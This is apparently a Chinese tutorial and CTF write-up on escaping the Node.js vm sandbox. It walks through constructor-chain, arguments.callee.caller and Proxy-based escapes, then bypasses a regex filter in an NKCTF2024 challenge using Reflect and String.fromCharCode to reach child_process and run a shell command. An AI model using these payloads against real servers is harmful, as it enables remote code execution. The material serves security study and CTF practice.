vm逃逸原理 首先了解一下js的vm是什么。vm是nodejs的虚拟机模块,能够在运行的时候执行其中的js代码,并与其他作用域隔离。说简单点就是提供了一个隔离环境,在该环境内,所有的变量与其他环境不互通,很像在当前js文件中套了一个小js文件。
vm.runinThisContext(code) 在当前global下创建一个作用域 这也就意味着我们使用这种方式创建的vm是可以直接使用global的。
1 2 3 4 5 6 #xxx.js const a = global const vm = require ('vm' );const vm_var = vm.runInThisContext ('global' );console .log (a);console .log (vm_var);
可以看到,打印出的global都是一样的。所以这种情况我们可以直接调用process来执行shell命令。
1 2 3 4 5 const a = global const vm = require ('vm' );const vm_var = vm.runInThisContext ('process.mainModule.require("child_process").exec("open -a Calculator");' );console .log (a);console .log (vm_var);
vm.createContext([sandbox]) 使用该方法创建vm时需要先创建一个沙箱对象,将沙箱对象作为参数传递给该方法,如果没有沙箱对象则创建一个空对象,与上一个方法不同的是,v8会为该沙箱在global外创建一个作用域,也就是说用这种方法创建的vm无法调用该js文件的全局变量,该作用域没有global变量。通常该方法会使用vm.runInContext(code, contextifiedSandbox[, options])来执行js代码。 这也就是我们要逃逸的原因。
vm.createContext([sandbox])逃逸 其实逃逸的原理很简单,就是vm不会对访问外界的构造器或者原型进行拦截,也就是说,只要沙箱对象存在,我们可以通过this去访问其构造器,而object的构造器是在外部定义的,于是我们很轻松的就连接到了外部,也是这样我们可以通过constructor去访问外部的global,也就能拿到process和执行shell
1 2 3 4 5 const vm = require ('vm' );const sandbox = {};vm.createContext (sandbox); const a=vm.runInContext ('this.constructor.constructor("return global;")()' , sandbox);console .log (a);
那么如果沙箱对象不存在呢?this没有指向肯定就访问不到构造器了
1 2 3 4 5 const vm = require ('vm' );const sandbox = Object .create (null );const context=vm.createContext (sandbox);const a=vm.runInContext ('this.constructor.constructor("return global;")()' , context);console .log (a);
我们可以用arguments.callee.caller去获取一个Function,而Function是外部的,这样我们也能连接到外部了,以toString为例
1 2 3 4 5 6 7 8 9 10 11 12 const vm = require ('vm' );const sandbox = Object .create (null );const context=vm.createContext (sandbox);const a=vm.runInContext (`(()=>{ const a={};a.toString=function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return global'))(); return p; } return a;})(); ` , context);console .log (a.toString ());
这里的toString可以换成任意名字,toString的好处仅仅是对象在被以字符串处理时会自动调用。 详细解释一下,我们做的就是创建一个方法去调用另一个方法,在最里面的方法内,我们用arguments.callee.caller去获取调用了这个方法的方法,所以此时cc就是一个Function,我们再调用cc的构造器就行了 还有一种依靠Proxy拦截对对象的访问的方式,这种方式更灵活,更容易触发
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 const vm = require ('vm' );try { const sandbox = Object .create (null ); const context=vm.createContext (sandbox); const a=vm.runInContext (`throw new Proxy({}, { get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return global'))(); return p; } }); ` , context); console .log (a); }catch (e){ console .log (e.message ); }
理解起来也很简单,就是抛出异常,该异常会创建一个Proxy对象并拦截对对象的访问,而该拦截过程会调用一个方法,该方法内有arguments.callee.caller,其他同理。
bypass js的bypass方式有很多花样,需要字符串,我们可以用String.fromCharCode去构造,需要方法我们可以通过反射。 以NKCTF2024全世界最简单的ctf为例,本题过滤不多,但是执行命令的方法都没了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 const express = require ('express' );const bodyParser = require ('body-parser' );const app = express ();const fs = require ("fs" );const path = require ('path' );const vm = require ("vm" );app .use (bodyParser.json ()) .set ('views' , path.join (__dirname, 'views' )) .use (express.static (path.join (__dirname, '/public' ))) app.get ('/' , function (req, res ){ res.sendFile (__dirname + '/public/home.html' ); }) function waf (code ) { let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g ; if (code.match (pattern)){ throw new Error ("what can I say? hacker out!!" ); } } app.post ('/' , function (req, res ){ let code = req.body .code ; let sandbox = Object .create (null ); let context = vm.createContext (sandbox); try { waf (code) let result = vm.runInContext (code, context); console .log (result); } catch (e){ console .log (e.message ); require ('./hack' ); } }) app.get ('/secret' , function (req, res ){ if (process.__filename == null ) { let content = fs.readFileSync (__filename, "utf-8" ); return res.send (content); } else { let content = fs.readFileSync (process.__filename , "utf-8" ); return res.send (content); } }) app.listen (3000 , ()=> { console .log ("listen on 3000" ); })
我们可以用Proxy的方法去获取process,然后引入child_process,然后执行shell(nodejs标准命令执行流程)。 这里我们使用反射的方式去获取对象,js中的反射和java不太一样,js的反射是从数组或者对象中根据键名获取值,Reflect的标准使用格式Reflect.get(某个对象, Reflect.ownKeys(p).find(x=>x.includes(‘要获取的值’)));,这种方式的好处是不需要完整的字符串就可以匹配到想获取的值
1 2 3 4 5 6 7 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return global' ))(); return Reflect .get (p, Reflect .ownKeys (p).find (x => x.includes ('pro' ))); } })
由于process被过滤,直接引用不行,我们就用String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)通过ascii码的方式去获取字符串,当然这种方式可以和上面的Reflect结合使用,去绕过更严格的过滤,引入child_process后,我们再用Reflect去获取exec。
1 2 3 4 5 6 7 8 throw new Proxy ({}, { get : function ( ){ const cc = arguments .callee .caller ; const p = (cc.constructor .constructor ('return global' ))(); const a = Reflect .get (p, Reflect .ownKeys (p).find (x => x.includes ('pro' ))).mainModule .require (String .fromCharCode (99 ,104 ,105 ,108 ,100 ,95 ,112 ,114 ,111 ,99 ,101 ,115 ,115 )); return Reflect .get (a, Reflect .ownKeys (a).find (x => x.includes ('ex' )))("open -a Calculator" ); } })
至此,攻击完成。
总结 nodejs的vm逃逸其实还有更多玩法,如果有兴趣可以再钻研钻研。这道题目还是挺典型的,可以作为入手vm逃逸的题目。